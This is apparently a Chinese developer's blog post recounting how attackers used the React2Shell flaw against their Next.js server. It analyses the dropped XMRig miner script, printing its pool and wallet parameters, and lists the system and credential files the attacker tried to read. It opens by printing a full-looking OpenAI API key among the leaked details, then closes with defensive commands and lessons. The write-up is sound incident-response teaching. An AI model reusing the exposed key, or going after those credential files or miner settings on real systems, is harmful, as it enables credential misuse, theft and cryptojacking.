⚠️ OpenAI API 密钥：sk-52XRaPsasSIzE8Jv44D4C485C55545C59cF430C9F323Ca4c
⚠️ API 端点：https://oneapi.dong4j.ink:1024/v1 (已下线)
⚠️ 应用端口：6661
⚠️ 工作目录路径：/Users/dong4j/Developer/Blog/npx-card-landing
⚠️ 系统用户名：dong4j
⚠️ 主机名：mini-m2
⚠️ 完整环境变量：包含所有配置信息

为什么使用 Base64 编码？

绕过字符限制：Next.js 的 NEXT_REDIRECT 错误机制可能对特殊字符有限制
数据完整性：Base64 编码可以确保二进制数据或特殊字符不会丢失
隐蔽性：虽然 base64 编码不是加密，但可以避免直接暴露敏感信息（如果日志被查看）

那个挖矿脚本：一个”专业”的恶意程序

我仔细分析了攻击者留下的 sex.sh.1 脚本。说实话，这个脚本写得很”专业”，它甚至还加上了注释. 如果这个脚本的作者把这份”专业”用在正道上，应该能成为一个不错的 DevOps 工程师。

它首先会检查是否有 root 权限，然后选择不同的安装路径：

Root 用户：安装到 /usr/share/updater（伪装成系统更新服务）
普通用户：安装到当前目录

然后它会从 GitHub 下载 XMRig 挖矿程序（伪装成合法下载），解压并配置。如果检测到 root 权限，还会创建 systemd 服务，实现开机自启和自动恢复。

挖矿参数配置如下：

--url pool.supportxmr.com:8080 
--user 89Zr4vPaS8yTYRQE54tK1QGKRpsYZ6eJJYynfpfBf1zmLHECaskMPwd3wuTnQ4SYQ7QLkwVN8ur2QTQi9wkKMaCr2iXKa7j 
--pass sx 
--donate-level 0

这个钱包地址 89Zr4vPaS8yTYRQE54tK1QGKRpsYZ6eJJYynfpfBf1zmLHECaskMPwd3wuTnQ4SYQ7QLkwVN8ur2QTQi9wkKMaCr2iXKa7j 就是攻击者用来接收挖矿收益的地址。

到目前为止, 这个钱包还有一个 Worker, 也就意味着至少还有一台被用来恶意挖矿.

我查了一下，pool.supportxmr.com 是一个知名的门罗币矿池。根据网上的资料，这个矿池支持多个端口：

pool.supportxmr.com:3333 - 最大难度 3K
pool.supportxmr.com:5555 - 最大难度 1.5W
pool.supportxmr.com:7777 - 最大难度 2.5W
pool.supportxmr.com:8080 - 攻击者使用的端口

矿池总税为 0.6%，最低 0.3 XMR 提现。攻击者使用 8080 端口，可能是为了绕过某些防火墙限制（80 和 443 端口通常不会被阻止）。

为什么在我的服务器上失败了？

因为我的服务器是 macOS ARM64 架构，而脚本下载的是 Linux x64 版本。而且 macOS 没有 systemd，脚本的持久化机制也失效了。

但这并不意味着 macOS 就安全了。如果攻击者针对 macOS 定制脚本，或者我的服务器是 Intel 架构的 macOS，攻击仍然可能成功。

信息窃取：那些让我后怕的尝试

12 月 8 日凌晨 4 点，攻击者进行了大规模的信息窃取尝试。从日志中可以看到，攻击者尝试读取了：

系统配置文件：

/etc/passwd - 成功读取（包含所有系统用户信息）
/etc/shadow - 失败（macOS 不存在此文件）
/proc/self/environ - 失败（macOS 不存在 /proc 文件系统）
/proc/self/cwd - 失败（macOS 不存在 /proc 文件系统）

从日志中可以看到，攻击者成功读取了 /etc 目录的文件列表，包括：

passwd、hosts、ssh、group、services 等系统配置文件
bashrc、zshrc 等 shell 配置文件
sudoers、sudoers.d 等权限配置文件

用户敏感文件：

/var/root/.ssh/id_rsa - 失败（权限不足）
/var/root/.ssh/config - 失败（权限不足）
/var/root/.aws/credentials - 失败（权限不足）
/var/root/.aws/config - 失败（权限不足）
/var/root/.kube/config - 失败（权限不足）
/var/root/.docker/config - 失败（权限不足）
/var/root/.config/gcloud/credentials.db - 失败（权限不足）
/var/root/.gitconfig - 失败（权限不足）
/var/root/.git-credentials - 失败（权限不足）
/var/root/.npmrc - 失败（权限不足）

项目敏感文件：

.env、.env.local、.env.production 等环境变量文件
prisma/.env - 数据库配置
serviceAccountKey.json - 服务账户密钥

虽然很多文件读取失败了，但攻击者成功读取了 /etc/passwd 和以及所有的当前用户下的数据和部分环境变量（通过错误信息泄露）。这让我意识到，即使攻击没有完全成功，我的服务器也已经暴露了部分敏感信息。

从日志中还可以看到，攻击者甚至尝试读取了环境变量。通过构造特定的错误，攻击者成功获取了大量的环境变量信息，包括：

Node.js 路径和版本信息
项目路径和工作目录
各种 API 密钥和配置信息
系统用户信息

这些信息虽然不能直接用来攻击，但可以帮助攻击者更好地了解服务器环境，为后续攻击做准备。

XMRig：一个被恶意利用的合法工具

什么是 XMRig？

XMRig 本身是一个开源的 Monero (XMR) 加密货币挖矿程序，支持 CPU、GPU 和 ASIC 挖矿。它本身是合法的开源软件，在 GitHub 上有进万 star。

但就像很多合法工具一样，XMRig 经常被恶意软件和僵尸网络用于未经授权的加密货币挖矿。这种行为被称为”加密劫持”（cryptojacking）。

个人对挖矿这件事有点抵触, 一直没有去研究挖矿的相关技术, 也就错失了几百个亿 🙉.

这次的漏洞也让我了解到了门罗币, 如果感兴趣, 可以玩玩儿.

虽然问题出在 Next.js 以及那些滥用开源项目的人身上, 但是我还是想惩戒一下那些恶意挖矿的人, 不管貌似并没有什么用.

为什么选择 XMRig？

攻击者选择 XMRig 有几个原因：

高性能：XMRig 使用 RandomX 算法，这是 Monero 网络使用的工作量证明算法。RandomX 专门设计为 CPU 友好，使得普通服务器也能参与挖矿。根据网上的资料，XMRig 支持多线程挖矿，可以充分利用 CPU 多核优势，提高挖矿效率。
易于部署：XMRig 提供了预编译的二进制文件，可以直接下载运行。攻击者只需要下载、解压、配置参数，就可以开始挖矿。从我的日志中可以看到，攻击者甚至直接从 GitHub 下载，伪装成合法下载。
隐蔽性强：XMRig 可以配置为后台运行，降低对系统性能的影响，避免被发现。攻击者还会给它起一个看似合法的名字，比如 system-update-service。从 FreeBuf 的文章中我了解到，JavaXminer 等挖矿木马家族还会清理其他挖矿程序，独占系统资源。
跨平台：支持 Windows、Linux、macOS 等多种操作系统，攻击者可以用同一套脚本攻击不同系统。虽然我的服务器是 macOS，攻击失败了，但如果攻击者针对 macOS 定制脚本，仍然可能成功。

攻击脚本的”专业”之处

我仔细分析了攻击者留下的脚本，发现它写得很”专业”：

智能安装路径选择：根据是否有 root 权限选择不同的安装路径，最大化隐蔽性。如果是 root 用户，安装到 /usr/share/updater，伪装成系统更新服务。
持久化机制：如果检测到 root 权限，会创建 systemd 服务，实现开机自启和自动恢复。即使服务器重启，挖矿程序也会自动启动。从 CSDN 的应急响应文章中我了解到，很多挖矿木马还会通过 crontab 创建计划任务，每 5 分钟访问 pastebin 获取新的指令。
更新机制：脚本还支持更新已安装的挖矿程序。如果检测到已有安装，会停止现有服务、更新配置、重启服务。这种”自我维护”的能力，让挖矿程序更难被清除。
错误处理：脚本包含了完善的错误处理逻辑，即使某些步骤失败，也会尝试其他方法。比如，如果 systemd 设置失败，会使用 nohup 在后台运行。
配置保存：脚本会保存配置到 miner.conf 文件，方便后续更新和维护。

说实话，如果这个脚本的作者把这份”专业”用在正道上，应该能成为一个不错的 DevOps 工程师。

挖矿木马的常见特征

通过查阅资料和对比其他案例，我发现挖矿木马有一些共同特征：

CPU 使用率异常：这是最明显的特征。从 CSDN 的应急响应案例中可以看到，受害服务器的 CPU 进程拉满到 200%。如果发现服务器 CPU 持续高占用，需要立即排查。
进程伪装：挖矿程序通常会被伪装成系统服务，比如 system-update-service、kthread、kworker 等。从我的日志中可以看到，攻击者使用的就是 system-update-service。
网络连接：挖矿程序需要连接到矿池服务器。常见的矿池包括：
- pool.supportxmr.com - 攻击者使用的矿池
- xmr.nanopool.org - 另一个知名矿池
- pool.minexmr.com - 支持多个地区服务器
持久化机制：
- Linux：通过 systemd 服务或 crontab 计划任务
- Windows：通过 WMI Subscription 或 schtasks 命令
- Docker：通过恶意容器（如 pmietlicki/monero-miner）

为什么在我的服务器上失败了？

从日志中可以看到，攻击者的脚本在我的 macOS 服务器上基本都失败了：

架构不匹配：脚本下载的是 Linux x64 版本，无法在 macOS ARM64 上运行。日志显示 cannot execute binary file。
系统差异：macOS 没有 systemd，脚本的持久化机制失效。日志显示 systemctl: command not found。
权限保护：macOS 的文件系统权限保护阻止了对 root 用户文件的访问。日志显示大量 EACCES: permission denied 错误。

但这并不意味着 macOS 就安全了。如果攻击者针对 macOS 定制脚本，或者我的服务器是 Intel 架构的 macOS，攻击仍然可能成功。

我的应对：从发现到处置

第一步：立即隔离

发现攻击后，我做的第一件事是立即停止 Next.js 应用，防止攻击者继续利用漏洞。然后我检查了系统进程，看是否有可疑的挖矿程序在运行。

参考 CSDN 应急响应文章中的排查方法，我使用了以下命令：

# 检查 CPU 使用率
htop

# 查找 xmrig 进程
ps aux | grep xmrig

# 检查网络连接
netstat -an | grep ESTABLISHED
lsof -i -P | grep LISTEN

幸运的是，由于架构不匹配，攻击者的挖矿程序没有成功运行。但我还是仔细检查了一遍，确保没有遗漏。

第二步：证据收集

我从日志文件中收集了所有攻击证据：

error.log - 记录了所有攻击尝试和执行的命令
sex.sh.1 - 攻击者下载的挖矿脚本
xmrig-6.24.0/ - 攻击者下载的挖矿程序（虽然未成功执行）

这些证据不仅帮助我了解攻击者的攻击手法，也让我能够评估攻击影响，防止未来类似攻击。如果涉及法律问题，这些证据也可以作为证据使用

第三步：漏洞修复

我立即更新了所有相关依赖。根据 Next.js 官方公告，我使用了官方提供的修复工具：

# 使用官方修复工具
npx fix-react2shell-next

# 或者手动更新
npm update next
npm update react react-dom

# 验证版本
npm list next react react-dom

重要提醒：由于 Next.js 内置了 React，即使你已经更新了独立的 React 依赖，也必须确保 Next.js 本身也更新到了包含修复的版本。

根据官方公告，修复版本包括：

Next.js 15.x：15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7
Next.js 16.x：16.0.7
Canary 版本：15.6.0-canary.58, 16.1.0-canary.12

无绕过方案：官方明确表示，必须升级到修复版本，没有其他绕过方案。

第四步：凭证轮换

这是最让我头疼的部分。虽然攻击者没有成功读取所有敏感文件，但根据官方建议，如果应用在 12 月 4 日下午 1:00 PT 之前在线且未打补丁，强烈建议轮换所有密钥。

我进行了全面的凭证轮换：

SSH 密钥：重新生成所有 SSH 密钥对，更新到所有服务器。因为家中的设备较多, 这个过程花了我一整个下午。

API Keys：轮换所有第三方服务的 API 密钥，在日志中有 .zshrc 的读取, 但是我的密钥全部独立放在另一个文件中,但是为了保险起见还是全部更换

这里额外提一个小技巧, 因为重度使用 .zshrc, 时间久了文件就会很大, 导致 zsh 加载缓慢, 所以使用下面的脚本来从其他文件异步加载配置:

########################### 加载 .zsh 目录中的配置文件(start) ############################
# 自动加载 ~/.zsh 目录内的 *.zsh 文件（按文件名排序）
ZSH_CONFIG_DIR="$HOME/.zsh"

if [ -d "$ZSH_CONFIG_DIR" ]; then
  for file in $(ls "$ZSH_CONFIG_DIR"/*.zsh 2>/dev/null | sort); do
    if [ -r "$file" ]; then
      source "$file"
    fi
  done
fi

########################### 加载 .zsh 目录中的配置文件 (end) ############################

Git 凭证：更新 Git 平台的访问令牌。
环境变量：检查并更新所有 .env 文件中的敏感信息。

这个过程很繁琐，但必须做。因为即使攻击者没有成功读取文件，也可能通过其他方式获取了信息。从日志中可以看到，攻击者成功读取了部分环境变量，这些信息可能已经泄露。

第五步：安全加固

说实话，由于时间有限，我并没有做一套完整的安全加固方案。但至少做了两件最关键的事：

1. 关闭不必要的端口暴露

检查了所有运行中的服务，关闭了那些不需要对外暴露的端口。这是最直接有效的防护措施——如果服务不暴露在公网上，攻击者就无法直接访问。

2. 漏洞修复和依赖升级

我花时间把最近一段时间公布的安全漏洞都过了一遍，特别是那些影响我使用的技术栈的漏洞。然后逐个检查项目依赖，把有漏洞的版本都升级到修复版本。

这个过程其实挺耗时的，因为：

需要查看每个依赖的 changelog 和安全公告
有些依赖升级可能会引入 breaking changes，需要测试
有些漏洞可能影响多个依赖，需要协调升级顺序

但这是必须做的。这次攻击让我意识到，依赖管理不是”能用就行”，而是需要持续关注安全更新。

关于更完善的安全措施

理想情况下，我应该：

建立完善的监控和告警机制
实施更严格的输入验证
配置防火墙规则
部署入侵检测系统

但现实是，作为一个开发者，时间和精力都有限。我只能优先处理最紧急、最有效的事情。至少现在，我的服务已经更新到了安全版本，不必要的端口也已经关闭了。

我的反思：从这次攻击中学到了什么

及时关注安全公告

这次攻击发生在漏洞公布后的第二天（12 月 5 日），说明攻击者反应非常迅速。根据 FreeBuf 的文章，JavaXminer 等挖矿木马家族通常会利用新近曝出的 Web 服务端 1Day 或 nDay 漏洞，在漏洞公布后几天内就开始大规模攻击。

作为开发者，我们需要：

订阅相关项目的安全公告邮件列表
关注 CVE 数据库
使用自动化工具监控依赖漏洞（如 Dependabot、Snyk）
建立安全公告的监控机制

现在的做法是，每天早上第一件事就是检查邮箱里的安全公告。虽然有点麻烦，但总比被攻击后再处理要好。

不要相信前端传来的任何东西

这是后端开发的基本原则，但 React Server Components 的设计违背了这一原则。作为开发者，我们需要：

对所有用户输入进行验证
使用 Schema 验证（如 Zod、Yup）
实施最小权限原则
避免直接执行用户提供的代码

在追求开发效率的同时，不能忽视安全性。React Server Components 是一个很好的技术，但它违背了后端开发的一些基本原则。

建立安全响应流程

这次事件让我意识到，需要建立完善的安全响应流程：

检测：如何快速发现安全事件
- 监控日志异常
- 监控系统资源使用
- 使用自动化工具检测
响应：发现后的处理步骤
- 立即隔离受感染的系统
- 收集攻击证据
- 分析攻击影响
恢复：如何快速恢复服务
- 修复漏洞
- 清理恶意文件
- 恢复系统功能
复盘：事后分析和改进
- 分析攻击手法
- 评估安全防护措施
- 改进安全流程

我现在已经建立了一个简单的安全响应 checklist，放在我的笔记里。虽然希望永远用不上，但有了它，至少知道该做什么。

多层防护

单一的安全措施是不够的，需要多层防护：

网络层：防火墙、DDoS 防护、网络隔离
应用层：输入验证、身份认证、授权、速率限制
系统层：文件权限、进程隔离、最小权限原则
监控层：日志、告警、审计、入侵检测

即使某一层防护失效，其他层仍然可以提供保护。比如，即使攻击者成功执行了命令，macOS 的权限保护也阻止了大部分文件读取操作。

了解攻击者的手法

通过查阅资料和对比其他案例，我了解到挖矿木马的一些常见手法：

快速响应：攻击者会在漏洞公布后几天内开始大规模攻击
自动化工具：使用自动化工具扫描和攻击，针对不同系统使用不同的攻击脚本
持久化机制：通过多种方式实现持久化，确保挖矿程序持续运行
资源独占：清理其他挖矿程序，独占系统资源
信息窃取：在挖矿的同时，尝试窃取敏感信息，为后续攻击做准备

了解这些手法，可以帮助我们更好地防护和应对。

对行业的思考：当技术跑得太快

这次事件暴露了前端框架在向后端扩展时面临的安全挑战。

React Server Components 是一个很好的技术，它让前端开发者能够更容易地使用 SSR。但在这个过程中，React 团队可能忽略了后端开发的一些基本原则。

本质上，这种跨网络的通讯是 Remote Procedure Call (RPC) 框架，不是什么新鲜事物。它的安全机制早就有了成熟的设计准则，不管是早年的 SOAP 还是现在最流行的 gRPC，都遵守这些基本准则：

Schema 的设计和 explicit 定义
防止边界混淆的措施
输入验证和类型检查
身份认证和授权

然而 React 团队没有遵循这些准则。从整个 RSC 的设计来看，你甚至可以说，他们是把前端圈子的”所见即所得”作风带来了后端。

这不是 React 团队第一次犯这种错误。在今年年初，Next.js 就出现过 9.1 分的严重漏洞（CVE-2025-29927，中间件权限绕过漏洞）。我当时就说过，这些”勾当”的背后，鬼知道还有多少致命的漏洞。

现在看来，我的担心是对的。

技术债务的代价

为了快速推广新技术，React 团队可能忽略了安全设计。这种”先上线，后修复”的做法，虽然能快速占领市场，但会留下巨大的技术债务。

当漏洞被发现时，影响范围已经非常广泛。根据 AWS 安全博客的报道，大量网络威胁组织正在快速利用 React2Shell 漏洞进行攻击。这意味着，这个漏洞已经被大规模利用。

开发者的责任

作为开发者，我们需要：

保持警惕：不要盲目相信新技术的安全性
深入理解：理解技术的底层原理，而不只是会使用
安全优先：在功能和安全之间，优先选择安全
持续学习：安全威胁在不断演变，需要持续学习

结语：希望这是最后一次

这次被攻击的经历虽然惊险，但也让我学到了很多。从技术角度，我深入了解了 React Server Components 的安全缺陷；从实践角度，我建立了完整的安全响应流程；从心态角度，我更加重视安全在开发中的重要性。

希望这篇文章能帮助其他开发者：

理解漏洞原理：知道为什么这个漏洞这么严重，以及如何防护
识别攻击行为：知道如何识别和应对类似攻击，包括挖矿木马的特征和排查方法
加强安全防护：建立完善的安全防护体系，包括多层防护和持续监控

最后，再次提醒所有使用 Next.js 和 React Server Components 的开发者：

请立即更新到最新版本！

这是真实的安全威胁。攻击者已经在利用这个漏洞进行大规模攻击，你的服务器可能就是下一个目标。

根据 Next.js 官方公告，如果应用在 12 月 4 日下午 1:00 PT 之前在线且未打补丁，强烈建议轮换所有密钥。

不要等到被攻击了才后悔。现在就去更新吧。

相关资源：

Next.js 安全公告 - 官方安全公告，包含修复版本和修复工具
CVE-2025-55182 - CVE 官方记录
React Server Components 文档
CSDN：XMR 挖矿木马应急响应案例 - 实战应急响应案例
FreeBuf：JavaXminer 挖矿木马分析 - 挖矿木马家族分析